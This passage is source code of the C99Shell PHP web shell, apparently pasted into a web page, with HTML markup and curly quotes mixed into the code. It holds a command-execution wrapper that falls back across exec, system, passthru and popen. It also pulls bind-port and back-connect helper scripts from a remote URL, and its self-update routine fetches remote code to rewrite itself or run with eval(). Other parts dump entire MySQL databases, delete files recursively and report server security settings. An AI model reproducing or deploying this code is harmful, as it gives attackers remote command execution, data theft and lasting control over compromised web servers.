  if(copy($d,$t)) {return unlink($d);}<br />
  else {unlink($t); return FALSE;}<br />
 }<br />
 else {return FALSE;}<br />
}<br />
}<br />
if (!function_exists(&#8220;fs_rmdir&#8221;))<br />
{<br />
function fs_rmdir($d)<br />
{<br />
 $h = opendir($d);<br />
 while (($o = readdir($h)) !== FALSE)<br />
 {<br />
  if (($o != &#8220;.&#8221;) and ($o != &#8220;..&#8221;))<br />
  {<br />
   if (!is_dir($d.$o)) {unlink($d.$o);}<br />
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}<br />
  }<br />
 }<br />
 closedir($h);<br />
 rmdir($d);<br />
 return !is_dir($d);<br />
}<br />
}<br />
if (!function_exists(&#8220;fs_rmobj&#8221;))<br />
{<br />
function fs_rmobj($o)<br />
{<br />
 $o = str_replace(&#8220;\\&#8221;,DIRECTORY_SEPARATOR,$o);<br />
 if (is_dir($o))<br />
 {<br />
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}<br />
  return fs_rmdir($o);<br />
 }<br />
 elseif (is_file($o)) {return unlink($o);}<br />
 else {return FALSE;}<br />
}<br />
}<br />
if (!function_exists(&#8220;myshellexec&#8221;))<br />
{<br />
function myshellexec($cmd)<br />
{<br />
 global $disablefunc;<br />
 $result = &#8220;&#8221;;<br />
 if (!empty($cmd))<br />
 {<br />
  if (is_callable(&#8220;exec&#8221;) and !in_array(&#8220;exec&#8221;,$disablefunc)) {exec($cmd,$result); $result = join(&#8220;\n&#8221;,$result);}<br />
  elseif (($result = `$cmd`) !== FALSE) {}<br />
  elseif (is_callable(&#8220;system&#8221;) and !in_array(&#8220;system&#8221;,$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}<br />
  elseif (is_callable(&#8220;passthru&#8221;) and !in_array(&#8220;passthru&#8221;,$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}<br />
  elseif (is_resource($fp = popen($cmd,&#8221;r&#8221;)))<br />
  {<br />
   $result = &#8220;&#8221;;<br />
   while(!feof($fp)) {$result .= fread($fp,1024);}<br />
   pclose($fp);<br />
  }<br />
 }<br />
 return $result;<br />
}<br />
}<br />
if (!function_exists(&#8220;tabsort&#8221;)) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}<br />
if (!function_exists(&#8220;view_perms&#8221;))<br />
{<br />
function view_perms($mode)<br />
{<br />
 if (($mode &#038; 0xC000) === 0xC000) {$type = &#8220;s&#8221;;}<br />
 elseif (($mode &#038; 0&#215;4000) === 0&#215;4000) {$type = &#8220;d&#8221;;}<br />
 elseif (($mode &#038; 0xA000) === 0xA000) {$type = &#8220;l&#8221;;}<br />
 elseif (($mode &#038; 0&#215;8000) === 0&#215;8000) {$type = &#8220;-&#8221;;}<br />
 elseif (($mode &#038; 0&#215;6000) === 0&#215;6000) {$type = &#8220;b&#8221;;}<br />
 elseif (($mode &#038; 0&#215;2000) === 0&#215;2000) {$type = &#8220;c&#8221;;}<br />
 elseif (($mode &#038; 0&#215;1000) === 0&#215;1000) {$type = &#8220;p&#8221;;}<br />
 else {$type = &#8220;?&#8221;;}</p>
<p> $owner["read"] = ($mode &#038; 00400)?&#8221;r&#8221;:&#8221;-&#8221;;<br />
 $owner["write"] = ($mode &#038; 00200)?&#8221;w&#8221;:&#8221;-&#8221;;<br />
 $owner["execute"] = ($mode &#038; 00100)?&#8221;x&#8221;:&#8221;-&#8221;;<br />
 $group["read"] = ($mode &#038; 00040)?&#8221;r&#8221;:&#8221;-&#8221;;<br />
 $group["write"] = ($mode &#038; 00020)?&#8221;w&#8221;:&#8221;-&#8221;;<br />
 $group["execute"] = ($mode &#038; 00010)?&#8221;x&#8221;:&#8221;-&#8221;;<br />
 $world["read"] = ($mode &#038; 00004)?&#8221;r&#8221;:&#8221;-&#8221;;<br />
 $world["write"] = ($mode &#038; 00002)? &#8220;w&#8221;:&#8221;-&#8221;;<br />
 $world["execute"] = ($mode &#038; 00001)?&#8221;x&#8221;:&#8221;-&#8221;;</p>
<p> if ($mode &#038; 0&#215;800) {$owner["execute"] = ($owner["execute"] == &#8220;x&#8221;)?&#8221;s&#8221;:&#8221;S&#8221;;}<br />
 if ($mode &#038; 0&#215;400) {$group["execute"] = ($group["execute"] == &#8220;x&#8221;)?&#8221;s&#8221;:&#8221;S&#8221;;}<br />
 if ($mode &#038; 0&#215;200) {$world["execute"] = ($world["execute"] == &#8220;x&#8221;)?&#8221;t&#8221;:&#8221;T&#8221;;}</p>
<p> return $type.join(&#8220;&#8221;,$owner).join(&#8220;&#8221;,$group).join(&#8220;&#8221;,$world);<br />
}<br />
}<br />
if (!function_exists(&#8220;posix_getpwuid&#8221;) and !in_array(&#8220;posix_getpwuid&#8221;,$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}<br />
if (!function_exists(&#8220;posix_getgrgid&#8221;) and !in_array(&#8220;posix_getgrgid&#8221;,$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}<br />
if (!function_exists(&#8220;posix_kill&#8221;) and !in_array(&#8220;posix_kill&#8221;,$disablefunc)) {function posix_kill($gid) {return FALSE;}}<br />
if (!function_exists(&#8220;parse_perms&#8221;))<br />
{<br />
function parse_perms($mode)<br />
{<br />
 if (($mode &#038; 0xC000) === 0xC000) {$t = &#8220;s&#8221;;}<br />
 elseif (($mode &#038; 0&#215;4000) === 0&#215;4000) {$t = &#8220;d&#8221;;}<br />
 elseif (($mode &#038; 0xA000) === 0xA000) {$t = &#8220;l&#8221;;}<br />
 elseif (($mode &#038; 0&#215;8000) === 0&#215;8000) {$t = &#8220;-&#8221;;}<br />
 elseif (($mode &#038; 0&#215;6000) === 0&#215;6000) {$t = &#8220;b&#8221;;}<br />
 elseif (($mode &#038; 0&#215;2000) === 0&#215;2000) {$t = &#8220;c&#8221;;}<br />
 elseif (($mode &#038; 0&#215;1000) === 0&#215;1000) {$t = &#8220;p&#8221;;}<br />
 else {$t = &#8220;?&#8221;;}<br />
 $o["r"] = ($mode &#038; 00400) > 0; $o["w"] = ($mode &#038; 00200) > 0; $o["x"] = ($mode &#038; 00100) > 0;<br />
 $g["r"] = ($mode &#038; 00040) > 0; $g["w"] = ($mode &#038; 00020) > 0; $g["x"] = ($mode &#038; 00010) > 0;<br />
 $w["r"] = ($mode &#038; 00004) > 0; $w["w"] = ($mode &#038; 00002) > 0; $w["x"] = ($mode &#038; 00001) > 0;<br />
 return array(&#8220;t&#8221;=>$t,&#8221;o&#8221;=>$o,&#8221;g&#8221;=>$g,&#8221;w&#8221;=>$w);<br />
}<br />
}<br />
if (!function_exists(&#8220;parsesort&#8221;))<br />
{<br />
function parsesort($sort)<br />
{<br />
 $one = intval($sort);<br />
 $second = substr($sort,-1);<br />
 if ($second != &#8220;d&#8221;) {$second = &#8220;a&#8221;;}<br />
 return array($one,$second);<br />
}<br />
}<br />
if (!function_exists(&#8220;view_perms_color&#8221;))<br />
{<br />
function view_perms_color($o)<br />
{<br />
 if (!is_readable($o)) {return &#8220;<font color=red>&#8220;.view_perms(fileperms($o)).&#8221;</font>&#8220;;}<br />
 elseif (!is_writable($o)) {return &#8220;<font color=white>&#8220;.view_perms(fileperms($o)).&#8221;</font>&#8220;;}<br />
 else {return &#8220;<font color=green>&#8220;.view_perms(fileperms($o)).&#8221;</font>&#8220;;}<br />
}<br />
}<br />
if (!function_exists(&#8220;c99getsource&#8221;))<br />
{<br />
function c99getsource($fn)<br />
{<br />
 global $c99sh_sourcesurl;<br />
 $array = array(<br />
  &#8220;c99sh_bindport.pl&#8221; => &#8220;c99sh_bindport_pl.txt&#8221;,<br />
  &#8220;c99sh_bindport.c&#8221; => &#8220;c99sh_bindport_c.txt&#8221;,<br />
  &#8220;c99sh_backconn.pl&#8221; => &#8220;c99sh_backconn_pl.txt&#8221;,<br />
  &#8220;c99sh_backconn.c&#8221; => &#8220;c99sh_backconn_c.txt&#8221;,<br />
  &#8220;c99sh_datapipe.pl&#8221; => &#8220;c99sh_datapipe_pl.txt&#8221;,<br />
  &#8220;c99sh_datapipe.c&#8221; => &#8220;c99sh_datapipe_c.txt&#8221;,<br />
 );<br />
 $name = $array[$fn];<br />
 if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}<br />
 else {return FALSE;}<br />
}<br />
}<br />
if (!function_exists(&#8220;c99sh_getupdate&#8221;))<br />
{<br />
function c99sh_getupdate($update = TRUE)<br />
{<br />
 $url = $GLOBALS["c99sh_updateurl"].&#8221;?version=&#8221;.urlencode(base64_encode($GLOBALS["shver"])).&#8221;&#038;updatenow=&#8221;.($updatenow?&#8221;1&#8243;:&#8221;0&#8243;).&#8221;&#038;&#8221;;<br />
 $data = @file_get_contents($url);<br />
 if (!$data) {return &#8220;Can&#8217;t connect to update-server!&#8221;;}<br />
 else<br />
 {<br />
  $data = ltrim($data);<br />
  $string = substr($data,3,ord($data{2}));<br />
  if ($data{0} == &#8220;\x99&#8243; and $data{1} == &#8220;\x01&#8243;) {return &#8220;Error: &#8220;.$string; return FALSE;}<br />
  if ($data{0} == &#8220;\x99&#8243; and $data{1} == &#8220;\x02&#8243;) {return &#8220;You are using latest version!&#8221;;}<br />
  if ($data{0} == &#8220;\x99&#8243; and $data{1} == &#8220;\x03&#8243;)<br />
  {<br />
   $string = explode(&#8220;\x01&#8243;,$string);<br />
   if ($update)<br />
   {<br />
    $confvars = array();<br />
    $sourceurl = $string[0];<br />
    $source = file_get_contents($sourceurl);<br />
    if (!$source) {return &#8220;Can&#8217;t fetch update!&#8221;;}<br />
    else<br />
    {<br />
     $fp = fopen(__FILE__,&#8221;w&#8221;);<br />
     if (!$fp) {return &#8220;Local error: can&#8217;t write update to &#8220;.__FILE__.&#8221;! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.&#8221;;}<br />
     else {fwrite($fp,$source); fclose($fp); return &#8220;Thanks! Updated with success.&#8221;;}<br />
    }<br />
   }<br />
   else {return &#8220;New version are available: &#8220;.$string[1];}<br />
  }<br />
  elseif ($data{0} == &#8220;\x99&#8243; and $data{1} == &#8220;\x04&#8243;) {eval($string); return 1;}<br />
  else {return &#8220;Error in protocol: segmentation failed! (&#8220;.$data.&#8221;) &#8220;;}<br />
 }<br />
}<br />
}<br />
if (!function_exists(&#8220;mysql_dump&#8221;))<br />
{<br />
function mysql_dump($set)<br />
{<br />
 global $shver;<br />
 $sock = $set["sock"];<br />
 $db = $set["db"];<br />
 $print = $set["print"];<br />
 $nl2br = $set["nl2br"];<br />
 $file = $set["file"];<br />
 $add_drop = $set["add_drop"];<br />
 $tabs = $set["tabs"];<br />
 $onlytabs = $set["onlytabs"];<br />
 $ret = array();<br />
 $ret["err"] = array();<br />
 if (!is_resource($sock)) {echo(&#8220;Error: \$sock is not valid resource.&#8221;);}<br />
 if (empty($db)) {$db = &#8220;db&#8221;;}<br />
 if (empty($print)) {$print = 0;}<br />
 if (empty($nl2br)) {$nl2br = 0;}<br />
 if (empty($add_drop)) {$add_drop = TRUE;}<br />
 if (empty($file))<br />
 {<br />
  $file = $tmpdir.&#8221;dump_&#8221;.getenv(&#8220;SERVER_NAME&#8221;).&#8221;_&#8221;.$db.&#8221;_&#8221;.date(&#8220;d-m-Y-H-i-s&#8221;).&#8221;.sql&#8221;;<br />
 }<br />
 if (!is_array($tabs)) {$tabs = array();}<br />
 if (empty($add_drop)) {$add_drop = TRUE;}<br />
 if (sizeof($tabs) == 0)<br />
 {<br />
  // retrive tables-list<br />
  $res = mysql_query(&#8220;SHOW TABLES FROM &#8220;.$db, $sock);<br />
  if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}<br />
 }<br />
 $out = &#8220;# Dumped by C99Shell.SQL v. &#8220;.$shver.&#8221;<br />
# Home page: http://ccteam.ru<br />
#<br />
# Host settings:<br />
# MySQL version: (&#8220;.mysql_get_server_info().&#8221;) running on &#8220;.getenv(&#8220;SERVER_ADDR&#8221;).&#8221; (&#8220;.getenv(&#8220;SERVER_NAME&#8221;).&#8221;)&#8221;.&#8221;<br />
# Date: &#8220;.date(&#8220;d.m.Y H:i:s&#8221;).&#8221;<br />
# DB: \&#8221;".$db.&#8221;\&#8221;<br />
#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
&#8220;;<br />
 $c = count($onlytabs);<br />
 foreach($tabs as $tab)<br />
 {<br />
  if ((in_array($tab,$onlytabs)) or (!$c))<br />
  {<br />
   if ($add_drop) {$out .= &#8220;DROP TABLE IF EXISTS `&#8221;.$tab.&#8221;`;\n&#8221;;}<br />
   // recieve query for create table structure<br />
   $res = mysql_query(&#8220;SHOW CREATE TABLE `&#8221;.$tab.&#8221;`&#8221;, $sock);<br />
   if (!$res) {$ret["err"][] = mysql_smarterror();}<br />
   else<br />
   {<br />
    $row = mysql_fetch_row($res);<br />
    $out .= $row["1"].&#8221;;\n\n&#8221;;<br />
    // recieve table variables<br />
    $res = mysql_query(&#8220;SELECT * FROM `$tab`&#8221;, $sock);<br />
    if (mysql_num_rows($res) > 0)<br />
    {<br />
     while ($row = mysql_fetch_assoc($res))<br />
     {<br />
      $keys = implode(&#8220;`, `&#8221;, array_keys($row));<br />
      $values = array_values($row);<br />
      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}<br />
      $values = implode(&#8220;&#8216;, &#8216;&#8221;, $values);<br />
      $sql = &#8220;INSERT INTO `$tab`(`&#8221;.$keys.&#8221;`) VALUES (&#8216;&#8221;.$values.&#8221;&#8216;);\n&#8221;;<br />
      $out .= $sql;<br />
     }<br />
    }<br />
   }<br />
  }<br />
 }<br />
 $out .= &#8220;#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\n\n&#8221;;<br />
 if ($file)<br />
 {<br />
  $fp = fopen($file, &#8220;w&#8221;);<br />
  if (!$fp) {$ret["err"][] = 2;}<br />
  else<br />
  {<br />
   fwrite ($fp, $out);<br />
   fclose ($fp);<br />
  }<br />
 }<br />
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}<br />
 return $out;<br />
}<br />
}<br />
if (!function_exists(&#8220;mysql_buildwhere&#8221;))<br />
{<br />
function mysql_buildwhere($array,$sep=&#8221; and&#8221;,$functs=array())<br />
{<br />
 if (!is_array($array)) {$array = array();}<br />
 $result = &#8220;&#8221;;<br />
 foreach($array as $k=>$v)<br />
 {<br />
  $value = &#8220;&#8221;;<br />
  if (!empty($functs[$k])) {$value .= $functs[$k].&#8221;(&#8220;;}<br />
  $value .= &#8220;&#8216;&#8221;.addslashes($v).&#8221;&#8216;&#8221;;<br />
  if (!empty($functs[$k])) {$value .= &#8220;)&#8221;;}<br />
  $result .= &#8220;`&#8221;.$k.&#8221;` = &#8220;.$value.$sep;<br />
 }<br />
 $result = substr($result,0,strlen($result)-strlen($sep));<br />
 return $result;<br />
}<br />
}<br />
if (!function_exists(&#8220;mysql_fetch_all&#8221;))<br />
{<br />
function mysql_fetch_all($query,$sock)<br />
{<br />
 if ($sock) {$result = mysql_query($query,$sock);}<br />
 else {$result = mysql_query($query);}<br />
 $array = array();<br />
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}<br />
 mysql_free_result($result);<br />
 return $array;<br />
}<br />
}<br />
if (!function_exists(&#8220;mysql_smarterror&#8221;))<br />
{<br />
function mysql_smarterror($type,$sock)<br />
{<br />
 if ($sock) {$error = mysql_error($sock);}<br />
 else {$error = mysql_error();}<br />
 $error = htmlspecialchars($error);<br />
 return $error;<br />
}<br />
}<br />
if (!function_exists(&#8220;mysql_query_form&#8221;))<br />
{<br />
function mysql_query_form()<br />
{<br />
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;<br />
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = &#8220;Query was empty&#8221;;} echo &#8220;<b>Error:</b> <br />&#8220;.$sql_query_error.&#8221;<br />&#8220;;}<br />
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}<br />
 if ((!$submit) or ($sql_act))<br />
 {<br />
  echo &#8220;<br />
<table border=0>
<tr>
<td>
<form name=\"c99sh_sqlquery\" method=POST><b>&#8220;; if (($sql_query) and (!$submit)) {echo &#8220;Do you really want to&#8221;;} else {echo &#8220;SQL-Query&#8221;;} echo &#8220;:</b></p>
<p><textarea name=sql_query cols=100 rows=10>&#8220;.htmlspecialchars($sql_query).&#8221;</textarea></p>
<p><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form>
</td>
<p>&#8220;;<br />
  if ($tbl_struct)<br />
  {<br />
   echo &#8220;
<td valign=\"top\"><b>Fields:</b><br />&#8220;;<br />
   foreach ($tbl_struct as $field) {$name = $field["Field"]; echo &#8220;» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>&#8220;.$name.&#8221;</b></a><br />&#8220;;}<br />
   echo &#8220;</td>
</tr>
</table>
<p>&#8220;;<br />
  }<br />
 }<br />
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}<br />
}<br />
}<br />
if (!function_exists(&#8220;mysql_create_db&#8221;))<br />
{<br />
function mysql_create_db($db,$sock=&#8221;")<br />
{<br />
 $sql = &#8220;CREATE DATABASE `&#8221;.addslashes($db).&#8221;`;&#8221;;<br />
 if ($sock) {return mysql_query($sql,$sock);}<br />
 else {return mysql_query($sql);}<br />
}<br />
}<br />
if (!function_exists(&#8220;mysql_query_parse&#8221;))<br />
{<br />
function mysql_query_parse($query)<br />
{<br />
 $query = trim($query);<br />
 $arr = explode (&#8221; &#8220;,$query);<br />
 /*array array()<br />
 {<br />
  &#8220;METHOD&#8221;=>array(output_type),<br />
  &#8220;METHOD1&#8243;&#8230;<br />
  &#8230;<br />
 }<br />
 if output_type == 0, no output,<br />
 if output_type == 1, no output if no error<br />
 if output_type == 2, output without control-buttons<br />
 if output_type == 3, output with control-buttons<br />
 */<br />
 $types = array(<br />
  &#8220;SELECT&#8221;=>array(3,1),<br />
  &#8220;SHOW&#8221;=>array(2,1),<br />
  &#8220;DELETE&#8221;=>array(1),<br />
  &#8220;DROP&#8221;=>array(1)<br />
 );<br />
 $result = array();<br />
 $op = strtoupper($arr[0]);<br />
 if (is_array($types[$op]))<br />
 {<br />
  $result["propertions"] = $types[$op];<br />
  $result["query"]  = $query;<br />
  if ($types[$op] == 2)<br />
  {<br />
   foreach($arr as $k=>$v)<br />
   {<br />
    if (strtoupper($v) == &#8220;LIMIT&#8221;)<br />
    {<br />
     $result["limit"] = $arr[$k+1];<br />
     $result["limit"] = explode(&#8220;,&#8221;,$result["limit"]);<br />
     if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}<br />
     unset($arr[$k],$arr[$k+1]);<br />
    }<br />
   }<br />
  }<br />
 }<br />
 else {return FALSE;}<br />
}<br />
}<br />
if (!function_exists(&#8220;c99fsearch&#8221;))<br />
{<br />
function c99fsearch($d)<br />
{<br />
 global $found;<br />
 global $found_d;<br />
 global $found_f;<br />
 global $search_i_f;<br />
 global $search_i_d;<br />
 global $a;<br />
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}<br />
 $h = opendir($d);<br />
 while (($f = readdir($h)) !== FALSE)<br />
 {<br />
  if($f != &#8220;.&#8221; &#038;&#038; $f != &#8220;..&#8221;)<br />
  {<br />
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));<br />
   if (is_dir($d.$f))<br />
   {<br />
    $search_i_d++;<br />
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}<br />
    if (!is_link($d.$f)) {c99fsearch($d.$f);}<br />
   }<br />
   else<br />
   {<br />
    $search_i_f++;<br />
    if ($bool)<br />
    {<br />
     if (!empty($a["text"]))<br />
     {<br />
      $r = @file_get_contents($d.$f);<br />
      if ($a["text_wwo"]) {$a["text"] = &#8221; &#8220;.trim($a["text"]).&#8221; &#8220;;}<br />
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}<br />
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}<br />
      else {$bool = strpos(&#8221; &#8220;.$r,$a["text"],1);}<br />
      if ($a["text_not"]) {$bool = !$bool;}<br />
      if ($bool) {$found[] = $d.$f; $found_f++;}<br />
     }<br />
     else {$found[] = $d.$f; $found_f++;}<br />
    }<br />
   }<br />
  }<br />
 }<br />
 closedir($h);<br />
}<br />
}<br />
if ($act == &#8220;gofile&#8221;) {if (is_dir($f)) {$act = &#8220;ls&#8221;; $d = $f;} else {$act = &#8220;f&#8221;; $d = dirname($f); $f = basename($f);}}<br />
//Sending headers<br />
@ob_start();<br />
@ob_implicit_flush(0);<br />
function onphpshutdown()<br />
{<br />
 global $gzipencode,$ft;<br />
 if (!headers_sent() and $gzipencode and !in_array($ft,array(&#8220;img&#8221;,&#8221;download&#8221;,&#8221;notepad&#8221;)))<br />
 {<br />
  $v = @ob_get_contents();<br />
  @ob_end_clean();<br />
  @ob_start(&#8220;ob_gzHandler&#8221;);<br />
  echo $v;<br />
  @ob_end_flush();<br />
 }<br />
}<br />
function c99shexit()<br />
{<br />
 onphpshutdown();<br />
 exit;<br />
}<br />
header(&#8220;Expires: Mon, 26 Jul 1997 05:00:00 GMT&#8221;);<br />
header(&#8220;Last-Modified: &#8220;.gmdate(&#8220;D, d M Y H:i:s&#8221;).&#8221; GMT&#8221;);<br />
header(&#8220;Cache-Control: no-store, no-cache, must-revalidate&#8221;);<br />
header(&#8220;Cache-Control: post-check=0, pre-check=0&#8243;, FALSE);<br />
header(&#8220;Pragma: no-cache&#8221;);<br />
if (empty($tmpdir))<br />
{<br />
 $tmpdir = ini_get(&#8220;upload_tmp_dir&#8221;);<br />
 if (is_dir($tmpdir)) {$tmpdir = &#8220;/tmp/&#8221;;}<br />
}<br />
$tmpdir = realpath($tmpdir);<br />
$tmpdir = str_replace(&#8220;\\&#8221;,DIRECTORY_SEPARATOR,$tmpdir);<br />
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}<br />
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}<br />
else {$tmpdir_logs = realpath($tmpdir_logs);}<br />
if (@ini_get(&#8220;safe_mode&#8221;) or strtolower(@ini_get(&#8220;safe_mode&#8221;)) == &#8220;on&#8221;)<br />
{<br />
 $safemode = TRUE;<br />
 $hsafemode = &#8220;<font color=red>ON (secure)</font>&#8220;;<br />
}<br />
else {$safemode = FALSE; $hsafemode = &#8220;<font color=green>OFF (not secure)</font>&#8220;;}<br />
$v = @ini_get(&#8220;open_basedir&#8221;);<br />
if ($v or strtolower($v) == &#8220;on&#8221;) {$openbasedir = TRUE; $hopenbasedir = &#8220;<font color=red>&#8220;.$v.&#8221;</font>&#8220;;}<br />
else {$openbasedir = FALSE; $hopenbasedir = &#8220;<font color=green>OFF (not secure)</font>&#8220;;}<br />
$sort = htmlspecialchars($sort);<br />
if (empty($sort)) {$sort = $sort_default;}<br />
$sort[1] = strtolower($sort[1]);<br />
$DISP_SERVER_SOFTWARE = getenv(&#8220;SERVER_SOFTWARE&#8221;);<br />
if (!ereg(&#8220;PHP/&#8221;.phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= &#8220;. PHP/&#8221;.phpversion();}<br />
$DISP_SERVER_SOFTWARE = str_replace(&#8220;PHP/&#8221;.phpversion(),&#8221;<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/&#8221;.phpversion().&#8221;</u></b></a>&#8220;,htmlspecialchars($DISP_SERVER_SOFTWARE));<br />
@ini_set(&#8220;highlight.bg&#8221;,$highlight_bg); //FFFFFF<br />
@ini_set(&#8220;highlight.comment&#8221;,$highlight_comment); //#FF8000<br />
@ini_set(&#8220;highlight.default&#8221;,$highlight_default); //#0000BB<br />
@ini_set(&#8220;highlight.html&#8221;,$highlight_html); //#000000<br />
@ini_set(&#8220;highlight.keyword&#8221;,$highlight_keyword); //#007700<br />
@ini_set(&#8220;highlight.string&#8221;,$highlight_string); //#DD0000<br />
if (!is_array($actbox)) {$actbox = array();}<br />
$dspact = $act = htmlspecialchars($act);<br />
$disp_fullpath = $ls_arr = $notls = null;<br />
$ud = urlencode($d);<br />
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style>
<p></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><br />
<tr>
<th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2">
<p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p>
<p></center></th>
</tr>
<tr>
<td>
<p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p>
<p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br />",1); ?></b>&nbsp;</p>
<p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br />",1);} else {echo get_current_user();} ?></b>&nbsp;</p>
<p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p>
<p align="left"><?php<br />
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);<br />
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}<br />
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);<br />
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}<br />
$d = str_replace("\\\\","\\",$d);<br />
$dispd = htmlspecialchars($d);<br />
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));<br />
$i = 0;<br />
foreach($pd as $b)<br />
{<br />
 $t = "";<br />
 $j = 0;<br />
 foreach ($e as $r)<br />
 {<br />
  $t.= $r.DIRECTORY_SEPARATOR;<br />
  if ($j == $i) {break;}<br />
  $j++;<br />
 }<br />
 echo "<a href=\"".$surl."act=ls&#038;d=".urlencode($t)."&#038;sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";<br />
 $i++;<br />
